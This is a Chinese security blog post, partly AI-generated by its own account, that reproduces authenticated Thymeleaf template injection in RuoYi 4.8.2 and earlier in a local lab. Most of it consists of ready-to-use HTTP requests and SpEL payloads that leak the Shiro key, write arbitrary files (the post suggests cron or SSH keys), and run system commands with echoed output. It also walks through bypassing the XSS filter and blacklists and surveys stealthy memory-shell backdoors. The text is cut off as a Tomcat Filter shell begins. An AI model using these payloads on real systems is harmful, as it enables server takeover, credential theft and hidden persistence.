RuoYi<=4.8.2后台代码执行

免责声明

本文内容仅用于网络安全技术学习、研究与交流,文中涉及的漏洞分析、复现过程及 PoC 示例仅面向合法授权的测试环境。请勿将本文中的任何技术、代码或方法用于未授权的系统、网络或设备,否则由此产生的一切法律责任及后果均由使用者自行承担。

作者不鼓励、不支持任何形式的非法入侵、攻击、破坏、数据窃取或其他违法违规行为。读者在学习和实践相关内容时,应严格遵守所在国家或地区的法律法规,并确保已获得明确授权。

另外,本文部分内容可能由 AI 生成,仅供参考。

环境搭建

克隆 RuoYi 主仓库

1
git clone https://github.com/yangzongzhuan/RuoYi.git RuoYi-main

进入仓库:

1
2
3
cd .\RuoYi-main
git fetch --all --tags
git tag

能看到类似:

1
2
3
4
5
v4.7.9
v4.8.0
v4.8.1
v4.8.2
v4.8.3

GitHub Releases 显示当前 RuoYi 有 v4.8.3、v4.8.2、v4.8.1、v4.8.0、v4.7.9 等历史版本,适合用来做版本对比和漏洞复现。

用 git worktree 建多个版本目录

仍然在:

1
C:\Users\13664\Desktop\ruoyi_lab\RuoYi-main

执行:

1
2
3
4
5
git worktree add ..\RuoYi-v4.8.3 v4.8.3
git worktree add ..\RuoYi-v4.8.2 v4.8.2
git worktree add ..\RuoYi-v4.8.1 v4.8.1
git worktree add ..\RuoYi-v4.8.0 v4.8.0
git worktree add ..\RuoYi-v4.7.9 v4.7.9

在 MySQL 9.0 里创建多个数据库

登录 MySQL:

1
mysql -uroot -p

输入 root 密码后,执行:

1
2
3
4
5
CREATE DATABASE ry_483 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
CREATE DATABASE ry_482 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
CREATE DATABASE ry_481 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
CREATE DATABASE ry_480 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;
CREATE DATABASE ry_479 DEFAULT CHARACTER SET utf8mb4 COLLATE utf8mb4_general_ci;

建议单独建一个实验账号,不要直接用 root:

1
2
3
4
5
6
7
8
9
CREATE USER 'ruoyi_lab'@'localhost' IDENTIFIED BY 'RuoyiLab@123456';

GRANT ALL PRIVILEGES ON ry_483.* TO 'ruoyi_lab'@'localhost';
GRANT ALL PRIVILEGES ON ry_482.* TO 'ruoyi_lab'@'localhost';
GRANT ALL PRIVILEGES ON ry_481.* TO 'ruoyi_lab'@'localhost';
GRANT ALL PRIVILEGES ON ry_480.* TO 'ruoyi_lab'@'localhost';
GRANT ALL PRIVILEGES ON ry_479.* TO 'ruoyi_lab'@'localhost';

FLUSH PRIVILEGES;

给每个版本导入 SQL

我这里用navicat导入sql文件。

把这两个文件全部导入即可。

修改每个版本的数据库配置

配置文件位置:

1
ruoyi-admin\src\main\resources\application-druid.yml

以 v4.7.9 为例,打开:

1
notepad C:\Users\13664\Desktop\ruoyi_lab\RuoYi-v4.7.9\ruoyi-admin\src\main\resources\application-druid.yml

找到 master 数据源,改成类似这样:

1
2
3
4
5
# 主库数据源
master:
url: jdbc:mysql://127.0.0.1:3306/ry_479?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=false&serverTimezone=Asia/Shanghai&allowPublicKeyRetrieval=true
username: ruoyi_lab
password: RuoyiLab@123456

IDEA里修改运行时端口

在这个窗口右上角点:修改选项(M) -> 添加 VM 选项

然后会多出一个 VM 选项 输入框,里面填:-Dserver.port=47900,应用即可。

然后运行即可。

可以直接利用若依依赖的测试环境调试:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import org.springframework.context.support.GenericApplicationContext;
import org.springframework.format.support.DefaultFormattingConversionService;
import org.thymeleaf.context.Context;
import org.thymeleaf.spring5.SpringTemplateEngine;
import org.thymeleaf.spring5.expression.ThymeleafEvaluationContext;
import org.thymeleaf.templatemode.TemplateMode;
import org.thymeleaf.templateresolver.StringTemplateResolver;

public class test {

public static void main(String[] args) {
System.setProperty("org.slf4j.simpleLogger.defaultLogLevel", "warn");
System.setProperty("org.slf4j.simpleLogger.log.org.thymeleaf", "off");

// 1. StringTemplateResolver:纯代码字符串模板
StringTemplateResolver resolver = new StringTemplateResolver();
resolver.setTemplateMode(TemplateMode.HTML);
resolver.setCacheable(false);

// 2. SpringTemplateEngine:使用 SpringEL
SpringTemplateEngine engine = new SpringTemplateEngine();
engine.setTemplateResolver(resolver);

// 3. 创建一个最小 Spring ApplicationContext
GenericApplicationContext applicationContext = new GenericApplicationContext();
applicationContext.refresh();

// 4. 创建 ThymeleafEvaluationContext
ThymeleafEvaluationContext evaluationContext = new ThymeleafEvaluationContext(
applicationContext,
new DefaultFormattingConversionService()
);

// 5. 创建 Thymeleaf Context
Context context = new Context();

/*
* 关键点:
* 手动放入 ThymeleafEvaluationContext。
*
* Spring MVC / 若依正常渲染时,框架会自动放这个。
* 纯代码测试时需要自己放。
*/
context.setVariable(
ThymeleafEvaluationContext.THYMELEAF_EVALUATION_CONTEXT_CONTEXT_VARIABLE_NAME,
evaluationContext
);


String userInput = "${{new com.fasterxml.jackson.databind.ObjectMapper().createGenerator(new org.springframework.core.io.FileSystemResource('C:/Users/13664/Desktop/1.txt').getOutputStream())}.![{writeRaw('file content'), close()}]}";
String unsafeTemplate = "<p th:text=\"%s\">".formatted(userInput);

String restrictedResult = engine.process(unsafeTemplate, context);
System.out.println(restrictedResult);

applicationContext.close();
}
}

漏洞复现

CVE-2025-14856、CVE-2026-4564 后台thymeleaf SSTI

/monitor/cache/getnamesfragment 参数代码注入。

接口/monitor/cache/getNames

接口/monitor/cache/getKeys

接口/monitor/cache/getValue

接口/demo/form/localrefresh/task

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
// ruoyi-admin/src/main/java/com/ruoyi/web/controller/monitor/CacheController.java
@RequiresPermissions("monitor:cache:view")
@PostMapping("/getNames")
public String getCacheNames(String fragment, ModelMap mmap)
{
mmap.put("cacheNames", cacheService.getCacheNames());
return prefix + "/cache::" + fragment;
}

@RequiresPermissions("monitor:cache:view")
@PostMapping("/getKeys")
public String getCacheKeys(String fragment, String cacheName, ModelMap mmap)
{
mmap.put("cacheName", cacheName);
mmap.put("cacheKeys", cacheService.getCacheKeys(cacheName));
return prefix + "/cache::" + fragment;
}

@RequiresPermissions("monitor:cache:view")
@PostMapping("/getValue")
public String getCacheValue(String fragment, String cacheName, String cacheKey, ModelMap mmap)
{
mmap.put("cacheName", cacheName);
mmap.put("cacheKey", cacheKey);
mmap.put("cacheValue", cacheService.getCacheValue(cacheName, cacheKey));
return prefix + "/cache::" + fragment;
}

//ruoyi-admin/src/main/java/com/ruoyi/web/controller/demo/controller/DemoFormController.java
@PostMapping("/localrefresh/task")
public String localRefreshTask(String fragment, String taskName, ModelMap mmap)
{
JSONArray list = new JSONArray();
JSONObject item = new JSONObject();
item.put("name", StringUtils.defaultIfBlank(taskName, "通过电话销售过程中了解各盛市的设备仪器使用、采购情况及相关重要追踪人"));
item.put("type", "新增");
item.put("date", "2018.06.10");
list.add(item);
item = new JSONObject();
item.put("name", "提高自己电话营销技巧,灵活专业地与客户进行电话交流");
item.put("type", "新增");
item.put("date", "2018.06.12");
list.add(item);
mmap.put("tasks", list);
return prefix + "/localrefresh::" + fragment;
}

org/thymeleaf/spring6/view/ThymeleafView.java::renderFragment中的判断条件:

image-20260513164915476

1
if (!viewTemplateName.contains("::")) {

即只有当模板名包含::时,才能够进入到parseExpression,也才会将其作为表达式去进行执行。

若依里自带::,所以我们后面的payload都不需要带了。

获取shiroKey:

1
2
3
4
5
6
7
8
9
10
11
12
POST /monitor/cache/getNames HTTP/1.1
Host: www.test.local:48200
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.test.local:48100/index
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=6fddd694-f7a5-4842-89ff-8da24adeb2f4
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

fragment=$__|{#response.getWriter().print(@securityManager.getClass().forName('java.util.Base64').getMethod('getEncoder').invoke(null).encodeToString(@securityManager.rememberMeManager.cipherKey))}|__

image-20260513165211796

任意文件写:

先看这篇文章:https://vipentest.com/blog/cve-2026-40478-thymeleaf-ssti-sandbox-escape-rce/?srsltid=AfmBOopDaDsDtLm_OEbMi9rbBTSH9Jau-YJcfUERQ6RLia1tPK6lb82e#h-vulnerability-overview

1
${{new\tcom.fasterxml.jackson.databind.ObjectMapper().createGenerator(new\torg.springframework.core.io.FileSystemResource('C:/Users/13664/Desktop/1.txt').getOutputStream())}.![{writeRaw('file content'), close()}]}

等价于如下java代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
import com.fasterxml.jackson.core.JsonGenerator;
import com.fasterxml.jackson.databind.ObjectMapper;
import org.springframework.core.io.FileSystemResource;

import java.io.OutputStream;

public class Demo {
public static void main(String[] args) throws Exception {
ObjectMapper objectMapper = new ObjectMapper();

FileSystemResource resource = new FileSystemResource("C:/Users/13664/Desktop/1.txt");

OutputStream outputStream = resource.getOutputStream();

JsonGenerator generator = objectMapper.createGenerator(outputStream); //创建一个 JsonGenerator,把它生成/写出的内容输出到 outputStream 指向的地方

generator.writeRaw("file content"); //写入原始文本
generator.close();
}
}

最后的![{writeRaw('file content'), close()}]是 SpEL 的投影/链式调用写法,意图是在前面创建出来的 JsonGenerator 对象上依次调用:

1
2
generator.writeRaw("file content");
generator.close();

但是直接用这个poc来测试若依是行不通的,报错会at com.ruoyi.common.xss.XssFilter.doFilter(XssFilter.java:54)

为什么文章里的%09(TAB) 绕过法,在本地 Java 纯代码测试中能成,一上若依的 Web 环境就失效了?

答案就是被若依的 XSS 过滤器(XssFilter) 给过滤了。

文章作者构造 %09 (TAB) 绕过的核心逻辑是基于一个解析差:

  1. Thymeleaf 的 normalize()删掉 TAB,变成 newcom...,从而骗过扫描器(因为扫描器在找new空格)。
  2. Spring 的 SpEL 解析器会保留 TAB,成功解析出 new 关键字。

但是在若依的web环境中,当 HTTP 请求到达 Tomcat 后,首先经过了若依自带的 XssFilter。若依的 XSS 过滤器底层通常会使用 Jsoup 或类似工具对所有传入的参数进行“清理”。 在这个清理过程中,HTML 标签和空白字符会被规范化(Normalize Whitespace)

也就是说, %09(TAB),在经过 XssFilter 时,被强行转换成了一个普通的空格

这就导致了字符串进入 Thymeleaf 的 normalize() 方法后,因为普通空格的 ASCII 码是 0x20(不满足 < 0x20 的删除条件),所以空格被保留了下来。然后扫描器检查字符串,精准地抓到了 new空格 ,当场抛出异常拦截。

所以这里只能打不用new关键字,依靠反射的payload:

1
2
3
4
5
6
7
8
9
10
11
12
POST /monitor/cache/getNames HTTP/1.1
Host: www.test.local:48200
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://www.test.local:48100/index
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=2ba4a387-3be0-45fa-b7f3-f78cce757d5f
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded

fragment=$__|{{''.getClass().forName('com.fasterxml.jackson.databind.ObjectMapper').newInstance().createGenerator(''.getClass().forName('org.springframework.core.io.FileSystemResource').getConstructor(''.getClass()).newInstance('C:/Users/13664/Desktop/1.txt').getOutputStream())}.![{writeRaw('file content'),close()}]}|__

可以写定时任务/etc/cron.d/或者ssh公钥~/.ssh/authorized_keys来达到RCE的效果。

无回显RCE:

如果 Apache Commons Lang 3 (commons-lang3) 存在于类路径中(它是大约 80% 的 Spring Boot 应用程序中的传递依赖项),则可以使用更直接的代码执行路径。利用 ClassUtils.getClass()MethodUtils.invokeMethod(),攻击者可以直接反射调用 Runtime.exec()

组装反射调用链:

1. 获取 Runtime.class:

1
''.getClass().forName('java.lang.Runtime')

2. 实例化MethodUtils (用于后续调用):

1
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance()

3. 调用getRuntime() 获取 Runtime 实例 (invokeStaticMethod):

1
[MethodUtils实例].invokeStaticMethod([Runtime的Class对象], 'getRuntime')

4. 调用exec('calc') 执行命令 (invokeMethod):

1
[MethodUtils实例].invokeMethod([Runtime实例], 'exec', 'calc')

将上面的逻辑嵌套组合在一起,最终的 Payload 如下:

1
$__|{{ ''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(''.getClass().forName('java.lang.Runtime'),'getRuntime'),'exec','calc')}}|__
  1. **绕过第一层(checkViewNameNotInRequest)**:利用 $__|{...}|__时间差成功欺骗检查器。
  2. **绕过第二层(SpEL 关键字拦截)**:全文没有 new,没有 T(,没有 %09,不依赖任何特殊的空白字符,完美穿透 XssFilter
  3. **绕过第三层(ACL黑名单)**:全程只显式调用了 java.lang.String ('') 和 org.apache.commons.lang3 下的方法,成功把 java.lang.Runtime 的调用隐藏在了第三方工具类的内部。
  4. 无需写入权限:不像之前的 ObjectMapper 需要往磁盘写文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
POST /monitor/cache/getNames HTTP/1.1
Host: www.test.local:48200
Referer: http://www.test.local:48200/index
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=8cc7d2e3-57e3-46c2-859b-11f88b1ce89d
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

fragment=$__|{
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(
''.getClass().forName('java.lang.Runtime'),
'getRuntime'
),
'exec',
'calc'
)
}|__

其实可以用变量存对象,不用多层嵌套反射调用,我人傻了。

1
2
3
4
5
6
$__|{#response.getWriter().print({
#MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(),
#Rt_class="".getClass().forName('java.lang.Runtime'),
#Rt_obj=#MethodUtils.invokeStaticMethod(#Rt_class,'getRuntime'),
#MethodUtils.invokeMethod(#Rt_obj,'exec','calc')
})}|__

回显RCE:

构造SPEL表达式,构造这种依靠反射的、冗长的poc,一定要按模块化。

网页端输出模块

1
__|$${#response.getWriter().print(……)}|__

Runtime命令执行模块

1
2
3
4
5
6
7
8
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(
''.getClass().forName('java.lang.Runtime'),
'getRuntime'
),
'exec',
'calc'
)

BufferedInputStream模块

1
2
3
4
5
6
7
8
9
10
''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(
''.getClass().forName('java.lang.Runtime'),
'getRuntime'
),
'exec',
'calc'
)
)

注意:如果直接调用 execgetInputStream 方法,会报错:java.lang.reflect.InaccessibleObjectException: Unable to make public java.io.InputStream java.lang.ProcessImpl.getInputStream() accessible: module java.base does not "opens java.lang" to unnamed module @1e6a3214

这是 Java 强封装(Strong Encapsulation) 报错,通常出现在 Java 9 及更高版本(如 Java 11, 17, 21) 中。由于JDK 模块系统限制(JPMS):从 Java 9 开始,JDK 引入了模块化系统。java.base 模块下的很多内部实现类(比如 java.lang.ProcessImpl,它是 Process 的具体实现)默认是不对外部开放反射权限的。Runtime.exec() 返回的对象虽然声明是 java.lang.Process(抽象类/公共类),但其实际运行时的具体类是 java.lang.ProcessImpl。当你通过反射调用 getInputStream() 时,反射引擎尝试在 ProcessImpl 上查找该方法,由于 ProcessImpl 是 JDK 内部类,强封装机制禁止了这种跨模块的反射访问。

解决方法:我们需要显式地告诉反射引擎,我们要调用的是公共父类 java.lang.Process 里的方法,而不是内部实现类 ProcessImpl 的方法。

伪代码:

1
2
3
4
5
Process p = Runtime.getRuntime().exec("whoami");
// 关键:从公共类 Process 中获取 getInputStream 方法,而不是从实例 p 中获取类
java.lang.reflect.Method getIn = Class.forName("java.lang.Process").getMethod("getInputStream");
// 然后在 p 实例上调用这个公共方法
InputStream is = (InputStream) getIn.invoke(p);

Scanner模块

1
2
3
4
5
6
7
8
9
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('java.util.Scanner').getConstructor(
''.getClass().forName('java.io.InputStream')
).newInstance(
………………
),
'useDelimiter',
'\\A'
).next()

把以上模块结合,就得到了最终

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
POST /monitor/cache/getNames HTTP/1.1
Host: www.test.local:48200
Referer: http://www.test.local:48200/index
Cookie: JSESSIONID=420ffcb3-9fc6-4218-b5a3-865f4eaa73ae
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/147.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Upgrade-Insecure-Requests: 1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/x-www-form-urlencoded

fragment=__|$${#response.getWriter().print(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('java.util.Scanner').getConstructor(
''.getClass().forName('java.io.InputStream')
).newInstance(
''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(
''.getClass().forName('java.lang.Runtime'),
'getRuntime'
),
'exec',
'whoami'
)
)
),
'useDelimiter',
'\\A'
).next()
)}|__

poc展开后得到java代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import java.util.Scanner;
import java.io.InputStream;
import java.lang.reflect.Method;
import java.lang.reflect.Constructor;
import org.apache.commons.lang3.reflect.MethodUtils;

public class POCRestored {
public void execute(javax.servlet.http.HttpServletResponse response) throws Exception {

// 1. 获取 Runtime 并执行命令 (RCE 核心)
// 对应 POC 中的 Runtime.getRuntime().exec('whoami')
java.lang.Runtime runtime = java.lang.Runtime.getRuntime();
java.lang.Process process = runtime.exec("whoami");

// 2. JDK 17+ 强封装绕过
// POC 没有直接调用 process.getInputStream(),因为那会返回私有的 ProcessImpl 类导致报错。
// 它通过反射从[公共类 java.lang.Process]中提取 getInputStream 方法。
Class<?> processClass = Class.forName("java.lang.Process");
Method getInputStreamMethod = processClass.getMethod("getInputStream");

// 在 process 实例上调用这个[来自公共父类]的方法,从而避开 ProcessImpl 的访问限制。
InputStream is = (InputStream) getInputStreamMethod.invoke(process);

// 3. 反射构造 Scanner (绕过关键字扫描)
// 对应 POC 中的 Scanner.getConstructor(InputStream.class).newInstance(is)
Class<?> scannerClass = Class.forName("java.util.Scanner");
Constructor<?> scannerConstructor = scannerClass.getConstructor(InputStream.class);
Scanner scanner = (Scanner) scannerConstructor.newInstance(is);

// 4. 使用 MethodUtils 代理调用 Scanner 方法 (绕过 Thymeleaf ACL 黑名单)
// 这里的 new MethodUtils() 纯粹是为了避开 SpEL 中 T() 关键字的扫描。
MethodUtils mu = new MethodUtils();

// 等价于: scanner.useDelimiter("\\A")
mu.invokeMethod(scanner, "useDelimiter", "\\A");

// 等价于: String result = scanner.next();
String result = (String) mu.invokeMethod(scanner, "next");

// 5. 结果回显
// 对应 POC 中的 #response.getWriter().print(...)
response.getWriter().print(result);
}
}

带变量的简单payload:

1
2
3
4
5
6
7
8
9
10
$__|{#response.getWriter().print({
#MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(),
#Scanner_class=''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')),
#Rt_class="".getClass().forName('java.lang.Runtime'),
#Rt_obj=#MethodUtils.invokeStaticMethod(#Rt_class,'getRuntime'),
#r=#MethodUtils.invokeMethod(#Rt_obj,'exec','whoami'),
#BufferedInputStream=''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(#r),
#Scanner_obj=#Scanner_class.newInstance(#BufferedInputStream),
#MethodUtils.invokeMethod(#Scanner_obj,'useDelimiter','\\A').next()
})}|__

编码poc:

如果有些命令很复杂,需要base64加密后,解码执行,那么就需要再加一个base64解码模块。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.util.Base64;

public class test2 {
public static void main(String[] args) {
String base64Str = "SGVsbG8gUnVvWWk="; // "Hello RuoYi" 的 Base64

// 解码
byte[] decodedBytes = Base64.getDecoder().decode(base64Str);

// 转换为字符串
String result = new String(decodedBytes);

System.out.println(result);
}
}
1
2
3
4
5
''.getClass().getConstructor(
''.getClass().forName('[B')
).newInstance(
{''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('d2hvYW1p')}
)

这里每一行都要说一下,

  1. ''.getClass().getConstructor( :获取String的有参构造方法,这里不使用forName(‘java.lang.String’)的原因是’’.getClass()获取到的就是java.lang.String类。
  2. ''.getClass().forName('[B'):尝试过参数填’’.getClass().forName(bytes.class),代码中可以,表达式中不行,这里[B就代表bytes.class
  3. {''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('d2hvYW1p')}

这里直接使用''.getClass().forName('java.util.Base64').getMethod('getDecoder').invoke(null).decode('d2hvYW1p')会报错。

失败的根本原因:可变参数(Varargs)的坑。

java.lang.reflect.Constructor.newInstance(Object... initargs) 是一个可变参数方法。

  • 当调用 newInstance(arg) 时,Java 预期的是一个对象数组,数组里的每一个元素对应构造函数的一个参数。
  • decode 方法返回的是一个 byte[](字节数组)。
  • 冲突点:当把 byte[] 传给 newInstance 时,反射引擎会产生歧义:它是要把这个 byte[] 当作一个整体参数传给 String(byte[]) 构造函数呢?还是认为这个 byte[] 本身就是参数列表,尝试把数组里的每一个 byte 拆出来传给构造函数?

通常在这种动态解析环境下,它会尝试拆分数组,结果发现找不到一个有那么多 byte 参数的 String 构造函数(比如 whoami 解码后是 6 个字节,它会去找有 6 个 byte 参数的构造器),于是报错。

所以需要明确告诉 newInstance“这个字节数组是一个整体,是第一个参数”。 在SPEL表达式中,可以使用{}来表示列表,外面套一层{}就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fragment=__|$${#response.getWriter().print(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('java.util.Scanner').getConstructor(
''.getClass().forName('java.io.InputStream')
).newInstance(
''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeMethod(
''.getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance().invokeStaticMethod(
''.getClass().forName('java.lang.Runtime'),
'getRuntime'
),
'exec',
''.getClass().getConstructor(
''.getClass().forName('[B')
).newInstance(
{''.getClass().forName('java.util.Base64').getDecoder().decode('d2hvYW1p')}
)
)
)
),
'useDelimiter',
'\\A'
).next()
)}|__

带变量的更简单的payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
$__|{#response.getWriter().print({
#MethodUtils="".getClass().forName('org.apache.commons.lang3.reflect.MethodUtils').newInstance(),
#Scanner_class=''.getClass().forName('java.util.Scanner').getConstructor(''.getClass().forName('java.io.InputStream')),
#Rt_class="".getClass().forName('java.lang.Runtime'),
#Rt_obj=#MethodUtils.invokeStaticMethod(#Rt_class,'getRuntime'),
#String_class=''.getClass().getConstructor(''.getClass().forName('[B')),
#Cmd_bytes={''.getClass().forName('java.util.Base64').getDecoder().decode('d2hvYW1p')},
#Cmd_string=#String_class.newInstance(#Cmd_bytes),
#r=#MethodUtils.invokeMethod(#Rt_obj,'exec',#Cmd_string),
#BufferedInputStream=''.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke(#r),
#Scanner_obj=#Scanner_class.newInstance(#BufferedInputStream),
#MethodUtils.invokeMethod(#Scanner_obj,'useDelimiter','\\A').next()
})}|__

内存马

内存马的选择

我们来深度剖析一下若依的技术栈:

  • 基础框架:Spring Boot
  • Web 框架:Spring MVC
  • Web 容器:默认使用 Spring Boot 内置的 Tomcat
  • 安全框架:Spring Security(较新版本)或 Apache Shiro(老版本或特定分支)

一、 针对 Spring MVC 层(框架级内存马)

若依的核心业务逻辑全部依赖 Spring MVC 的路由分发。因此,Spring 层的内存马是完全兼容的。

  1. Controller / RequestMapping 内存马
  • 实现逻辑:攻击者通过反射获取若依应用上下文中的 RequestMappingHandlerMapping Bean,动态注册一个恶意的路由(例如 /monitor/server/info_test),使其指向攻击者自定义的后门方法。
  • 实战痛点会被若依的安全框架拦截,若依配置了严格的 Spring Security 或 Shiro 鉴权拦截器。如果攻击者只注册了一个普通的 Controller 路由,当外部请求访问时,会先经过鉴权过滤器。如果没有合法的 Token/Cookie,请求直接被拦截重定向到登录页。但其实无关紧要,因为这个洞就是后台洞=-=
  • 绕过手段:攻击者在注册 Controller 时,必须同时修改 Spring Security 的白名单配置,或者利用框架层更靠前的拦截器。
  1. Interceptor(拦截器)内存马
  • 实现逻辑:向 Spring MVC 的拦截器链中动态插入一个拦截器。只要请求匹配到了 Spring MVC 的 DispatcherServlet,就会触发该拦截器执行恶意代码。

二、 针对 Web 容器层(Tomcat 内存马)

因为若依基于 Spring Boot,绝大多数情况下是以 java -jar 运行,内部嵌套了 Tomcat。因此,最经典的容器级内存马不仅适用,而且往往是攻击者的首选

  1. Filter 内存马
  • 为什么是首选:前面提到,Spring Security 的拦截机制本质上也是基于 Filter(具体叫做 FilterChainProxy)实现的。攻击者通过反射获取到内置 Tomcat 的 StandardContext 后,可以强行将自己的恶意 Filter 注入到 Tomcat 的 Filter 链中,并且排在 Spring Security 的 Filter 之前
  • 实战效果:请求到达服务器时,先被恶意 Filter 捕获并执行命令,执行完后直接阻断请求或伪装成正常响应返回。这样就完美绕过了若依的各种认证、权限校验和日志记录模块。
  1. Listener 内存马 & Valve 内存马
  • 优势:这两者的执行层级比 Filter 还要底层。特别是 Valve(阀门)内存马,它属于 Tomcat 核心处理管道的一部分。由于若依完全不会在业务代码中触碰 Valve,这类内存马在若依系统中隐蔽性极强,常规的业务层安全审计根本看不到它。

三、 针对底层的 JVM 级内存马

  1. Java Agent 内存马
  • 实战场景:如果防守方使用了类似 RASP(运行时应用自保护)或者一些高级的 WebShell 查杀工具定期扫描 Tomcat 的 Filter/Servlet 映射表,传统的容器内存马就会暴露。
  • 在若依中的应用:黑客可能会将 Java Agent 注入到若依的核心类中。例如,直接修改若依的 TokenService.java(负责 JWT 校验的类)的字节码,或者修改 Tomcat 的 ApplicationFilterChain 字节码。这样不用新增任何路由或过滤器,只需在 HTTP 请求中带上特定特征,被修改的系统自带类就会悄悄执行系统命令。

这里我选择Tomcat的Filter内存马,并且由于我本地使用的jdk版本是17,所以这里借用unknown的内存马:

https://github.com/un1novvn/Java-unser-utils-17/tree/master

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
//适用于jdk17+
package com.Memshell.tomcat;

import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.catalina.webresources.StandardRoot;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import sun.reflect.ReflectionFactory;

import javax.servlet.*;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Scanner;

public class FilterShell implements Filter {

